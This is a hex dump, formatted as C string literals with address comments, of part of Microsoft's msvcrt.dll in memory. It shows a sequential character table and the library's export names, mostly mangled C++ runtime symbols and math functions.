"\x9D\x00\x9E\x00\x9F\x00\xA0\x00\x28\x00\xA1\x00\xA2\x00\xA3\x00" // .ž.Ÿ. .(.¡.¢.£. /* 77C2A550 */ "\xA4\x00\xA5\x00\xA6\x00\xA7\x00\xA8\x00\xA9\x00\xAA\x00\xAB\x00" // ¤.¥.¦.§.¨.©.ª.«. /* 77C2A560 */ "\xAC\x00\xAD\x00\xAE\x00\xAF\x00\xB0\x00\xB1\x00\xB2\x00\xB3\x00" // ¬.­.®.¯.°.±.².³. /* 77C2A570 */ "\xB4\x00\xB5\x00\xB6\x00\xB7\x00\xB8\x00\xB9\x00\xBA\x00\xBB\x00" // ´.µ.¶.·.¸.¹.º.». /* 77C2A580 */ "\xBC\x00\xBD\x00\xBE\x00\xBF\x00\xC0\x00\xC1\x00\xC2\x00\xC3\x00" // ¼.½.¾.¿.À.Á.Â.Ã. /* 77C2A590 */ "\xC4\x00\xC5\x00\xC6\x00\xC7\x00\xC8\x00\xC9\x00\xCA\x00\xCB\x00" // Ä.Å.Æ.Ç.È.É.Ê.Ë. /* 77C2A5A0 */ "\xCC\x00\xCD\x00\xCE\x00\xCF\x00\xD0\x00\xD1\x00\xD2\x00\xD3\x00" // Ì.Í.Î.Ï.Ð.Ñ.Ò.Ó. /* 77C2A5B0 */ "\xD4\x00\xD5\x00\xD6\x00\xD7\x00\xD8\x00\xD9\x00\xDA\x00\xDB\x00" // Ô.Õ.Ö.×.Ø.Ù.Ú.Û. /* 77C2A5C0 */ "\xDC\x00\xDD\x00\xDE\x00\xDF\x00\xE0\x00\xE1\x00\xE2\x00\xE3\x00" // Ü.Ý.Þ.ß.à.á.â.ã. /* 77C2A5D0 */ "\xE4\x00\xE5\x00\xE6\x00\xE7\x00\xE8\x00\xE9\x00\xEA\x00\xEB\x00" // ä.å.æ.ç.è.é.ê.ë. /* 77C2A5E0 */ "\xEC\x00\xED\x00\xEE\x00\xEF\x00\xF0\x00\xF1\x00\xF2\x00\xF3\x00" // ì.í.î.ï.ð.ñ.ò.ó. /* 77C2A5F0 */ "\xF4\x00\xF5\x00\xF6\x00\xF7\x00\xF8\x00\xF9\x00\xFA\x00\xFB\x00" // ô.õ.ö.÷.ø.ù.ú.û. /* 77C2A600 */ "\xFC\x00\xFD\x00\xFE\x00\xFF\x00\x00\x01\x01\x01\x02\x01\x03\x01" // ü.ý.þ.ÿ.. /* 77C2A610 */ "\x04\x01\x05\x01\x06\x01\x07\x01\x08\x01\x09\x01\x0A\x01\x0B\x01" // ..  /* 77C2A620 */ "\x0C\x01\x0D\x01\x0E\x01\x0F\x01\x10\x01\x11\x01\x12\x01\x13\x01" // .. /* 77C2A630 */ "\x14\x01\x15\x01\x16\x01\x17\x01\x18\x01\x19\x01\x1A\x01\x1B\x01" //  /* 77C2A640 */ "\x1C\x01\x1D\x01\x1E\x01\x1F\x01\x20\x01\x21\x01\x22\x01\x23\x01" //  !"# /* 77C2A650 */ "\x24\x01\x25\x01\x26\x01\x27\x01\x28\x01\x29\x01\x2A\x01\x2B\x01" // $%&'()*+ /* 77C2A660 */ "\x2C\x01\x2D\x01\x2E\x01\x2F\x01\x30\x01\x31\x01\x32\x01\x33\x01" // ,-./0123 /* 77C2A670 */ "\x34\x01\x35\x01\x36\x01\x37\x01\x38\x01\x39\x01\x3A\x01\x3B\x01" // 456789:; /* 77C2A680 */ "\x3C\x01\x3D\x01\x3E\x01\x3F\x01\x40\x01\x41\x01\x42\x01\x43\x01" // <=>?@ABC /* 77C2A690 */ "\x44\x01\x45\x01\x46\x01\x47\x01\x48\x01\x49\x01\x4A\x01\x4B\x01" // DEFGHIJK /* 77C2A6A0 */ "\x4C\x01\x4D\x01\x4E\x01\x4F\x01\x50\x01\x51\x01\x52\x01\x53\x01" // LMNOPQRS /* 77C2A6B0 */ "\x54\x01\x55\x01\x56\x01\x57\x01\x58\x01\x59\x01\x5A\x01\x5B\x01" // TUVWXYZ[ /* 77C2A6C0 */ "\x5C\x01\x5D\x01\x5E\x01\x5F\x01\x60\x01\x61\x01\x62\x01\x63\x01" // \]^_`abc /* 77C2A6D0 */ "\x64\x01\x65\x01\x66\x01\x67\x01\x68\x01\x69\x01\x6A\x01\x6B\x01" // defghijk /* 77C2A6E0 */ "\x6C\x01\x6D\x01\x6E\x01\x6F\x01\x70\x01\x71\x01\x72\x01\x73\x01" // lmnopqrs /* 77C2A6F0 */ "\x74\x01\x75\x01\x76\x01\x77\x01\x78\x01\x79\x01\x7A\x01\x7B\x01" // tuvwxyz{ /* 77C2A700 */ "\x7C\x01\x7D\x01\x7E\x01\x7F\x01\x80\x01\x81\x01\x82\x01\x83\x01" // |}~€‚ƒ /* 77C2A710 */ "\x84\x01\x85\x01\x86\x01\x87\x01\x88\x01\x89\x01\x8A\x01\x8B\x01" // „…†‡ˆ‰Š‹ /* 77C2A720 */ "\x8C\x01\x8D\x01\x8E\x01\x8F\x01\x90\x01\x91\x01\x92\x01\x93\x01" // ŒŽ‘’“ /* 77C2A730 */ "\x94\x01\x95\x01\x96\x01\x97\x01\x98\x01\x99\x01\x9A\x01\x9B\x01" // ”•–—˜™š› /* 77C2A740 */ "\x9C\x01\x9D\x01\x9E\x01\x9F\x01\xA0\x01\xA1\x01\xA2\x01\xA3\x01" // œžŸ ¡¢£ /* 77C2A750 */ "\xA4\x01\xA5\x01\xA6\x01\xA7\x01\xA8\x01\xA9\x01\xAA\x01\xAB\x01" // ¤¥¦§¨©ª« /* 77C2A760 */ "\xAC\x01\xAD\x01\xAE\x01\xAF\x01\xB0\x01\xB1\x01\xB2\x01\xB3\x01" // ¬­®¯°±²³ /* 77C2A770 */ "\xB4\x01\xB5\x01\xB6\x01\xB7\x01\xB8\x01\xB9\x01\xBA\x01\xBB\x01" // ´µ¶·¸¹º» /* 77C2A780 */ "\xBC\x01\xBD\x01\xBE\x01\xBF\x01\xC0\x01\xC1\x01\xC2\x01\xC3\x01" // ¼½¾¿ÀÁÂà /* 77C2A790 */ "\xC4\x01\xC5\x01\xC6\x01\xC7\x01\xC8\x01\xC9\x01\xCA\x01\xCB\x01" // ÄÅÆÇÈÉÊË /* 77C2A7A0 */ "\xCC\x01\xCD\x01\xCE\x01\xCF\x01\xD0\x01\xD1\x01\xD2\x01\xD3\x01" // ÌÍÎÏÐÑÒÓ /* 77C2A7B0 */ "\xD4\x01\xD5\x01\xD6\x01\xD7\x01\xD8\x01\xD9\x01\xDA\x01\xDB\x01" // ÔÕÖרÙÚÛ /* 77C2A7C0 */ "\xDC\x01\xDD\x01\xDE\x01\xDF\x01\xE0\x01\xE1\x01\xE2\x01\xE3\x01" // ÜÝÞßàáâã /* 77C2A7D0 */ "\xE4\x01\xE5\x01\xE6\x01\xE7\x01\xE8\x01\xE9\x01\xEA\x01\xEB\x01" // äåæçèéêë /* 77C2A7E0 */ "\xEC\x01\xED\x01\xEE\x01\xEF\x01\xF0\x01\xF1\x01\xF2\x01\xF3\x01" // ìíîïðñòó /* 77C2A7F0 */ "\xF4\x01\xF5\x01\xF6\x01\xF7\x01\xF8\x01\xF9\x01\xFA\x01\xFB\x01" // ôõö÷øùúû /* 77C2A800 */ "\xFC\x01\xFD\x01\xFE\x01\xFF\x01\x00\x02\x01\x02\x02\x02\x03\x02" // üýþÿ. /* 77C2A810 */ "\x04\x02\x05\x02\x06\x02\x07\x02\x08\x02\x09\x02\x0A\x02\x0B\x02" // ..  /* 77C2A820 */ "\x0C\x02\x0D\x02\x0E\x02\x0F\x02\x10\x02\x11\x02\x12\x02\x13\x02" // .. /* 77C2A830 */ "\x14\x02\x15\x02\x16\x02\x17\x02\x18\x02\x19\x02\x1A\x02\x1B\x02" //  /* 77C2A840 */ "\x1C\x02\x1D\x02\x1E\x02\x1F\x02\x20\x02\x21\x02\x22\x02\x23\x02" //  !"# /* 77C2A850 */ "\x24\x02\x25\x02\x26\x02\x27\x02\x28\x02\x29\x02\x2A\x02\x2B\x02" // $%&'()*+ /* 77C2A860 */ "\x2C\x02\x2D\x02\x2E\x02\x2F\x02\x30\x02\x31\x02\x32\x02\x33\x02" // ,-./0123 /* 77C2A870 */ "\x34\x02\x35\x02\x36\x02\x37\x02\x38\x02\x39\x02\x3A\x02\x3B\x02" // 456789:; /* 77C2A880 */ "\x3C\x02\x3D\x02\x3E\x02\x3F\x02\x40\x02\x41\x02\x42\x02\x43\x02" // <=>?@ABC /* 77C2A890 */ "\x44\x02\x45\x02\x46\x02\x47\x02\x48\x02\x49\x02\x4A\x02\x4B\x02" // DEFGHIJK /* 77C2A8A0 */ "\x4C\x02\x4D\x02\x4E\x02\x4F\x02\x50\x02\x51\x02\x52\x02\x53\x02" // LMNOPQRS /* 77C2A8B0 */ "\x54\x02\x55\x02\x56\x02\x57\x02\x58\x02\x59\x02\x5A\x02\x5B\x02" // TUVWXYZ[ /* 77C2A8C0 */ "\x5C\x02\x5D\x02\x5E\x02\x5F\x02\x60\x02\x61\x02\x62\x02\x63\x02" // \]^_`abc /* 77C2A8D0 */ "\x64\x02\x65\x02\x66\x02\x67\x02\x68\x02\x69\x02\x6A\x02\x6B\x02" // defghijk /* 77C2A8E0 */ "\x6C\x02\x6D\x02\x6E\x02\x6F\x02\x70\x02\x71\x02\x72\x02\x73\x02" // lmnopqrs /* 77C2A8F0 */ "\x74\x02\x75\x02\x76\x02\x77\x02\x78\x02\x79\x02\x7A\x02\x7B\x02" // tuvwxyz{ /* 77C2A900 */ "\x7C\x02\x7D\x02\x7E\x02\x7F\x02\x80\x02\x81\x02\x82\x02\x83\x02" // |}~€‚ƒ /* 77C2A910 */ "\x84\x02\x85\x02\x86\x02\x87\x02\x88\x02\x89\x02\x8A\x02\x8B\x02" // „…†‡ˆ‰Š‹ /* 77C2A920 */ "\x8C\x02\x8D\x02\x8E\x02\x8F\x02\x90\x02\x91\x02\x92\x02\x93\x02" // ŒŽ‘’“ /* 77C2A930 */ "\x94\x02\x95\x02\x96\x02\x97\x02\x98\x02\x99\x02\x9A\x02\x9B\x02" // ”•–—˜™š› /* 77C2A940 */ "\x9C\x02\x9D\x02\x9E\x02\x9F\x02\xA0\x02\xA1\x02\xA2\x02\xA3\x02" // œžŸ ¡¢£ /* 77C2A950 */ "\xA4\x02\xA5\x02\xA6\x02\xA7\x02\xA8\x02\xA9\x02\xAA\x02\xAB\x02" // ¤¥¦§¨©ª« /* 77C2A960 */ "\xAC\x02\xAD\x02\xAE\x02\xAF\x02\xB0\x02\xB1\x02\xB2\x02\xB3\x02" // ¬­®¯°±²³ /* 77C2A970 */ "\xB4\x02\xB5\x02\xB6\x02\xB7\x02\xB8\x02\xB9\x02\xBA\x02\xBB\x02" // ´µ¶·¸¹º» /* 77C2A980 */ "\xBC\x02\xBD\x02\xBE\x02\xBF\x02\xC0\x02\xC1\x02\xC2\x02\xC3\x02" // ¼½¾¿ÀÁÂà /* 77C2A990 */ "\xC4\x02\xC5\x02\xC6\x02\xC7\x02\xC8\x02\xC9\x02\xCA\x02\xCB\x02" // ÄÅÆÇÈÉÊË /* 77C2A9A0 */ "\xCC\x02\xCD\x02\xCE\x02\xCF\x02\xD0\x02\xD1\x02\xD2\x02\xD3\x02" // ÌÍÎÏÐÑÒÓ /* 77C2A9B0 */ "\xD4\x02\xD5\x02\xD6\x02\xD7\x02\xD8\x02\xD9\x02\xDA\x02\xDB\x02" // ÔÕÖרÙÚÛ /* 77C2A9C0 */ "\xDC\x02\xDD\x02\xDE\x02\xDF\x02\xE0\x02\xE1\x02\xE2\x02\xE3\x02" // ÜÝÞßàáâã /* 77C2A9D0 */ "\xE4\x02\xE5\x02\xE6\x02\xE7\x02\xE8\x02\xE9\x02\xEA\x02\xEB\x02" // äåæçèéêë /* 77C2A9E0 */ "\xEC\x02\xED\x02\xEE\x02\xEF\x02\xF0\x02\xF1\x02\xF2\x02\xF3\x02" // ìíîïðñòó /* 77C2A9F0 */ "\xF4\x02\xF5\x02\xF6\x02\xF7\x02\xF8\x02\xF9\x02\xFA\x02\xFB\x02" // ôõö÷øùúû /* 77C2AA00 */ "\xFC\x02\xFD\x02\xFE\x02\xFF\x02\x00\x03\x01\x03\x02\x03\x03\x03" // üýþÿ. /* 77C2AA10 */ "\x04\x03\x05\x03\x06\x03\x07\x03\x08\x03\x09\x03\x0A\x03\x0B\x03" // ..  /* 77C2AA20 */ "\x0C\x03\x0D\x03\x0E\x03\x0F\x03\x10\x03\x11\x03\x12\x03\x13\x03" // .. /* 77C2AA30 */ "\x14\x03\x15\x03\x16\x03\x17\x03\x18\x03\x19\x03\x1A\x03\x1B\x03" //  /* 77C2AA40 */ "\x1C\x03\x1D\x03\x1E\x03\x1F\x03\x20\x03\x21\x03\x22\x03\x23\x03" //  !"# /* 77C2AA50 */ "\x24\x03\x25\x03\x26\x03\x27\x03\x28\x03\x29\x03\x2A\x03\x2B\x03" // $%&'()*+ /* 77C2AA60 */ "\x2C\x03\x2D\x03\x2E\x03\x2F\x03\x30\x03\x31\x03\x32\x03\x33\x03" // ,-./0123 /* 77C2AA70 */ "\x34\x03\x35\x03\x36\x03\x37\x03\x38\x03\x39\x03\x3A\x03\x3B\x03" // 456789:; /* 77C2AA80 */ "\x3C\x03\x3D\x03\x6D\x73\x76\x63\x72\x74\x2E\x64\x6C\x6C\x00\x3F" // <=msvcrt.dll.? /* 77C2AA90 */ "\x3F\x30\x5F\x5F\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F\x62\x6A" // ?0__non_rtti_obj /* 77C2AAA0 */ "\x65\x63\x74\x40\x40\x51\x41\x45\x40\x41\x42\x56\x30\x40\x40\x5A" // ect@@QAE@ABV0@@Z /* 77C2AAB0 */ "\x00\x3F\x3F\x30\x5F\x5F\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F" // .??0__non_rtti_o /* 77C2AAC0 */ "\x62\x6A\x65\x63\x74\x40\x40\x51\x41\x45\x40\x50\x42\x44\x40\x5A" // bject@@QAE@PBD@Z /* 77C2AAD0 */ "\x00\x3F\x3F\x30\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x41\x41" // .??0bad_cast@@AA /* 77C2AAE0 */ "\x45\x40\x50\x42\x51\x42\x44\x40\x5A\x00\x3F\x3F\x30\x62\x61\x64" // E@PBQBD@Z.??0bad /* 77C2AAF0 */ "\x5F\x63\x61\x73\x74\x40\x40\x51\x41\x45\x40\x41\x42\x51\x42\x44" // _cast@@QAE@ABQBD /* 77C2AB00 */ "\x40\x5A\x00\x3F\x3F\x30\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40" // @Z.??0bad_cast@@ /* 77C2AB10 */ "\x51\x41\x45\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F\x30\x62" // QAE@ABV0@@Z.??0b /* 77C2AB20 */ "\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x51\x41\x45\x40\x50\x42\x44" // ad_cast@@QAE@PBD /* 77C2AB30 */ "\x40\x5A\x00\x3F\x3F\x30\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64" // @Z.??0bad_typeid /* 77C2AB40 */ "\x40\x40\x51\x41\x45\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F" // @@QAE@ABV0@@Z.?? /* 77C2AB50 */ "\x30\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64\x40\x40\x51\x41\x45" // 0bad_typeid@@QAE /* 77C2AB60 */ "\x40\x50\x42\x44\x40\x5A\x00\x3F\x3F\x30\x65\x78\x63\x65\x70\x74" // @PBD@Z.??0except /* 77C2AB70 */ "\x69\x6F\x6E\x40\x40\x51\x41\x45\x40\x41\x42\x51\x42\x44\x40\x5A" // ion@@QAE@ABQBD@Z /* 77C2AB80 */ "\x00\x3F\x3F\x30\x65\x78\x63\x65\x70\x74\x69\x6F\x6E\x40\x40\x51" // .??0exception@@Q /* 77C2AB90 */ "\x41\x45\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F\x30\x65\x78" // AE@ABV0@@Z.??0ex /* 77C2ABA0 */ "\x63\x65\x70\x74\x69\x6F\x6E\x40\x40\x51\x41\x45\x40\x58\x5A\x00" // ception@@QAE@XZ. /* 77C2ABB0 */ "\x3F\x3F\x31\x5F\x5F\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F\x62" // ??1__non_rtti_ob /* 77C2ABC0 */ "\x6A\x65\x63\x74\x40\x40\x55\x41\x45\x40\x58\x5A\x00\x3F\x3F\x31" // ject@@UAE@XZ.??1 /* 77C2ABD0 */ "\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x55\x41\x45\x40\x58\x5A" // bad_cast@@UAE@XZ /* 77C2ABE0 */ "\x00\x3F\x3F\x31\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64\x40\x40" // .??1bad_typeid@@ /* 77C2ABF0 */ "\x55\x41\x45\x40\x58\x5A\x00\x3F\x3F\x31\x65\x78\x63\x65\x70\x74" // UAE@XZ.??1except /* 77C2AC00 */ "\x69\x6F\x6E\x40\x40\x55\x41\x45\x40\x58\x5A\x00\x3F\x3F\x31\x74" // ion@@UAE@XZ.??1t /* 77C2AC10 */ "\x79\x70\x65\x5F\x69\x6E\x66\x6F\x40\x40\x55\x41\x45\x40\x58\x5A" // ype_info@@UAE@XZ /* 77C2AC20 */ "\x00\x3F\x3F\x32\x40\x59\x41\x50\x41\x58\x49\x40\x5A\x00\x3F\x3F" // .??2@YAPAXI@Z.?? /* 77C2AC30 */ "\x33\x40\x59\x41\x58\x50\x41\x58\x40\x5A\x00\x3F\x3F\x34\x5F\x5F" // 3@YAXPAX@Z.??4__ /* 77C2AC40 */ "\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F\x62\x6A\x65\x63\x74\x40" // non_rtti_object@ /* 77C2AC50 */ "\x40\x51\x41\x45\x41\x41\x56\x30\x40\x41\x42\x56\x30\x40\x40\x5A" // @QAEAAV0@ABV0@@Z /* 77C2AC60 */ "\x00\x3F\x3F\x34\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x51\x41" // .??4bad_cast@@QA /* 77C2AC70 */ "\x45\x41\x41\x56\x30\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F" // EAAV0@ABV0@@Z.?? /* 77C2AC80 */ "\x34\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64\x40\x40\x51\x41\x45" // 4bad_typeid@@QAE /* 77C2AC90 */ "\x41\x41\x56\x30\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F\x34" // AAV0@ABV0@@Z.??4 /* 77C2ACA0 */ "\x65\x78\x63\x65\x70\x74\x69\x6F\x6E\x40\x40\x51\x41\x45\x41\x41" // exception@@QAEAA /* 77C2ACB0 */ "\x56\x30\x40\x41\x42\x56\x30\x40\x40\x5A\x00\x3F\x3F\x38\x74\x79" // V0@ABV0@@Z.??8ty /* 77C2ACC0 */ "\x70\x65\x5F\x69\x6E\x66\x6F\x40\x40\x51\x42\x45\x48\x41\x42\x56" // pe_info@@QBEHABV /* 77C2ACD0 */ "\x30\x40\x40\x5A\x00\x3F\x3F\x39\x74\x79\x70\x65\x5F\x69\x6E\x66" // 0@@Z.??9type_inf /* 77C2ACE0 */ "\x6F\x40\x40\x51\x42\x45\x48\x41\x42\x56\x30\x40\x40\x5A\x00\x3F" // o@@QBEHABV0@@Z.? /* 77C2ACF0 */ "\x3F\x5F\x37\x5F\x5F\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F\x62" // ?_7__non_rtti_ob /* 77C2AD00 */ "\x6A\x65\x63\x74\x40\x40\x36\x42\x40\x00\x3F\x3F\x5F\x37\x62\x61" // ject@@6B@.??_7ba /* 77C2AD10 */ "\x64\x5F\x63\x61\x73\x74\x40\x40\x36\x42\x40\x00\x3F\x3F\x5F\x37" // d_cast@@6B@.??_7 /* 77C2AD20 */ "\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64\x40\x40\x36\x42\x40\x00" // bad_typeid@@6B@. /* 77C2AD30 */ "\x3F\x3F\x5F\x37\x65\x78\x63\x65\x70\x74\x69\x6F\x6E\x40\x40\x36" // ??_7exception@@6 /* 77C2AD40 */ "\x42\x40\x00\x3F\x3F\x5F\x45\x5F\x5F\x6E\x6F\x6E\x5F\x72\x74\x74" // B@.??_E__non_rtt /* 77C2AD50 */ "\x69\x5F\x6F\x62\x6A\x65\x63\x74\x40\x40\x55\x41\x45\x50\x41\x58" // i_object@@UAEPAX /* 77C2AD60 */ "\x49\x40\x5A\x00\x3F\x3F\x5F\x45\x62\x61\x64\x5F\x63\x61\x73\x74" // I@Z.??_Ebad_cast /* 77C2AD70 */ "\x40\x40\x55\x41\x45\x50\x41\x58\x49\x40\x5A\x00\x3F\x3F\x5F\x45" // @@UAEPAXI@Z.??_E /* 77C2AD80 */ "\x62\x61\x64\x5F\x74\x79\x70\x65\x69\x64\x40\x40\x55\x41\x45\x50" // bad_typeid@@UAEP /* 77C2AD90 */ "\x41\x58\x49\x40\x5A\x00\x3F\x3F\x5F\x45\x65\x78\x63\x65\x70\x74" // AXI@Z.??_Eexcept /* 77C2ADA0 */ "\x69\x6F\x6E\x40\x40\x55\x41\x45\x50\x41\x58\x49\x40\x5A\x00\x3F" // ion@@UAEPAXI@Z.? /* 77C2ADB0 */ "\x3F\x5F\x46\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x51\x41\x45" // ?_Fbad_cast@@QAE /* 77C2ADC0 */ "\x58\x58\x5A\x00\x3F\x3F\x5F\x46\x62\x61\x64\x5F\x74\x79\x70\x65" // XXZ.??_Fbad_type /* 77C2ADD0 */ "\x69\x64\x40\x40\x51\x41\x45\x58\x58\x5A\x00\x3F\x3F\x5F\x47\x5F" // id@@QAEXXZ.??_G_ /* 77C2ADE0 */ "\x5F\x6E\x6F\x6E\x5F\x72\x74\x74\x69\x5F\x6F\x62\x6A\x65\x63\x74" // _non_rtti_object /* 77C2ADF0 */ "\x40\x40\x55\x41\x45\x50\x41\x58\x49\x40\x5A\x00\x3F\x3F\x5F\x47" // @@UAEPAXI@Z.??_G /* 77C2AE00 */ "\x62\x61\x64\x5F\x63\x61\x73\x74\x40\x40\x55\x41\x45\x50\x41\x58" // bad_cast@@UAEPAX /* 77C2AE10 */ "\x49\x40\x5A\x00\x3F\x3F\x5F\x47\x62\x61\x64\x5F\x74\x79\x70\x65" // I@Z.??_Gbad_type /* 77C2AE20 */ "\x69\x64\x40\x40\x55\x41\x45\x50\x41\x58\x49\x40\x5A\x00\x3F\x3F" // id@@UAEPAXI@Z.?? /* 77C2AE30 */ "\x5F\x47\x65\x78\x63\x65\x70\x74\x69\x6F\x6E\x40\x40\x55\x41\x45" // _Gexception@@UAE /* 77C2AE40 */ "\x50\x41\x58\x49\x40\x5A\x00\x3F\x3F\x5F\x55\x40\x59\x41\x50\x41" // PAXI@Z.??_U@YAPA /* 77C2AE50 */ "\x58\x49\x40\x5A\x00\x3F\x3F\x5F\x56\x40\x59\x41\x58\x50\x41\x58" // XI@Z.??_V@YAXPAX /* 77C2AE60 */ "\x40\x5A\x00\x5F\x5F\x75\x6E\x63\x61\x75\x67\x68\x74\x5F\x65\x78" // @Z.__uncaught_ex /* 77C2AE70 */ "\x63\x65\x70\x74\x69\x6F\x6E\x00\x3F\x5F\x71\x75\x65\x72\x79\x5F" // ception.?_query_ /* 77C2AE80 */ "\x6E\x65\x77\x5F\x68\x61\x6E\x64\x6C\x65\x72\x40\x40\x59\x41\x50" // new_handler@@YAP /* 77C2AE90 */ "\x36\x41\x48\x49\x40\x5A\x58\x5A\x00\x3F\x5F\x71\x75\x65\x72\x79" // 6AHI@ZXZ.?_query /* 77C2AEA0 */ "\x5F\x6E\x65\x77\x5F\x6D\x6F\x64\x65\x40\x40\x59\x41\x48\x58\x5A" // _new_mode@@YAHXZ /* 77C2AEB0 */ "\x00\x3F\x5F\x73\x65\x74\x5F\x6E\x65\x77\x5F\x68\x61\x6E\x64\x6C" // .?_set_new_handl /* 77C2AEC0 */ "\x65\x72\x40\x40\x59\x41\x50\x36\x41\x48\x49\x40\x5A\x50\x36\x41" // er@@YAP6AHI@ZP6A /* 77C2AED0 */ "\x48\x49\x40\x5A\x40\x5A\x00\x3F\x5F\x73\x65\x74\x5F\x6E\x65\x77" // HI@Z@Z.?_set_new /* 77C2AEE0 */ "\x5F\x6D\x6F\x64\x65\x40\x40\x59\x41\x48\x48\x40\x5A\x00\x3F\x5F" // _mode@@YAHH@Z.?_ /* 77C2AEF0 */ "\x73\x65\x74\x5F\x73\x65\x5F\x74\x72\x61\x6E\x73\x6C\x61\x74\x6F" // set_se_translato /* 77C2AF00 */ "\x72\x40\x40\x59\x41\x50\x36\x41\x58\x49\x50\x41\x55\x5F\x45\x58" // r@@YAP6AXIPAU_EX /* 77C2AF10 */ "\x43\x45\x50\x54\x49\x4F\x4E\x5F\x50\x4F\x49\x4E\x54\x45\x52\x53" // CEPTION_POINTERS /* 77C2AF20 */ "\x40\x40\x40\x5A\x50\x36\x41\x58\x49\x30\x40\x5A\x40\x5A\x00\x3F" // @@@ZP6AXI0@Z@Z.? /* 77C2AF30 */ "\x62\x65\x66\x6F\x72\x65\x40\x74\x79\x70\x65\x5F\x69\x6E\x66\x6F" // before@type_info /* 77C2AF40 */ "\x40\x40\x51\x42\x45\x48\x41\x42\x56\x31\x40\x40\x5A\x00\x3F\x6E" // @@QBEHABV1@@Z.?n /* 77C2AF50 */ "\x61\x6D\x65\x40\x74\x79\x70\x65\x5F\x69\x6E\x66\x6F\x40\x40\x51" // ame@type_info@@Q /* 77C2AF60 */ "\x42\x45\x50\x42\x44\x58\x5A\x00\x3F\x72\x61\x77\x5F\x6E\x61\x6D" // BEPBDXZ.?raw_nam /* 77C2AF70 */ "\x65\x40\x74\x79\x70\x65\x5F\x69\x6E\x66\x6F\x40\x40\x51\x42\x45" // e@type_info@@QBE /* 77C2AF80 */ "\x50\x42\x44\x58\x5A\x00\x3F\x73\x65\x74\x5F\x6E\x65\x77\x5F\x68" // PBDXZ.?set_new_h /* 77C2AF90 */ "\x61\x6E\x64\x6C\x65\x72\x40\x40\x59\x41\x50\x36\x41\x58\x58\x5A" // andler@@YAP6AXXZ /* 77C2AFA0 */ "\x50\x36\x41\x58\x58\x5A\x40\x5A\x00\x3F\x73\x65\x74\x5F\x74\x65" // P6AXXZ@Z.?set_te /* 77C2AFB0 */ "\x72\x6D\x69\x6E\x61\x74\x65\x40\x40\x59\x41\x50\x36\x41\x58\x58" // rminate@@YAP6AXX /* 77C2AFC0 */ "\x5A\x50\x36\x41\x58\x58\x5A\x40\x5A\x00\x3F\x73\x65\x74\x5F\x75" // ZP6AXXZ@Z.?set_u /* 77C2AFD0 */ "\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x40\x40\x59\x41\x50\x36\x41" // nexpected@@YAP6A /* 77C2AFE0 */ "\x58\x58\x5A\x50\x36\x41\x58\x58\x5A\x40\x5A\x00\x3F\x74\x65\x72" // XXZP6AXXZ@Z.?ter /* 77C2AFF0 */ "\x6D\x69\x6E\x61\x74\x65\x40\x40\x59\x41\x58\x58\x5A\x00\x3F\x75" // minate@@YAXXZ.?u /* 77C2B000 */ "\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x40\x40\x59\x41\x58\x58\x5A" // nexpected@@YAXXZ /* 77C2B010 */ "\x00\x3F\x77\x68\x61\x74\x40\x65\x78\x63\x65\x70\x74\x69\x6F\x6E" // .?what@exception /* 77C2B020 */ "\x40\x40\x55\x42\x45\x50\x42\x44\x58\x5A\x00\x24\x49\x31\x30\x5F" // @@UBEPBDXZ.$I10_ /* 77C2B030 */ "\x4F\x55\x54\x50\x55\x54\x00\x5F\x43\x49\x61\x63\x6F\x73\x00\x5F" // OUTPUT._CIacos._ /* 77C2B040 */ "\x43\x49\x61\x73\x69\x6E\x00\x5F\x43\x49\x61\x74\x61\x6E\x00\x5F" // CIasin._CIatan._ /* 77C2B050 */ "\x43\x49\x61\x74\x61\x6E\x32\x00\x5F\x43\x49\x63\x6F\x73\x00\x5F" // CIatan2._CIcos._ /* 77C2B060 */ "\x43\x49\x63\x6F\x73\x68\x00\x5F\x43\x49\x65\x78\x70\x00\x5F\x43" // CIcosh._CIexp._C /* 77C2B070 */ "\x49\x66\x6D\x6F\x64\x00\x5F\x43\x49\x6C\x6F\x67\x00\x5F\x43\x49" // Ifmod._CIlog._CI /* 77C2B080 */ "\x6C\x6F\x67\x31\x30\x00\x5F\x43\x49\x70\x6F\x77\x00\x5F\x43\x49" // log10._CIpow._CI /* 77C2B090 */ "\x73\x69\x6E\x00\x5F\x43\x49\x73\x69\x6E\x68\x00\x5F\x43\x49\x73" // sin._CIsinh._CIs /* 77C2B0A0 */ "\x71\x72\x74\x00\x5F\x43\x49\x74\x61\x6E\x00\x5F\x43\x49\x74\x61" // qrt._CItan._CIta /* 77C2B0B0 */ "\x6E\x68\x00\x5F\x43\x78\x78\x54\x68\x72\x6F\x77\x45\x78\x63\x65" // nh._CxxThrowExce /* 77C2B0C0 */ "\x70\x74\x69\x6F\x6E\x00\x5F\x45\x48\x5F\x70\x72\x6F\x6C\x6F\x67" // ption._EH_prolog /* 77C2B0D0 */ "\x00\x5F\x47\x65\x74\x64\x61\x79\x73\x00\x5F\x47\x65\x74\x6D\x6F" // ._Getdays._Getmo /* 77C2B0E0 */ "\x6E\x74\x68\x73\x00\x5F\x47\x65\x74\x74\x6E\x61\x6D\x65\x73\x00" // nths._Gettnames. /* 77C2B0F0 */ "\x5F\x48\x55\x47\x45\x00\x5F\x53\x74\x72\x66\x74\x69\x6D\x65\x00" // _HUGE._Strftime. /* 77C2B100 */ 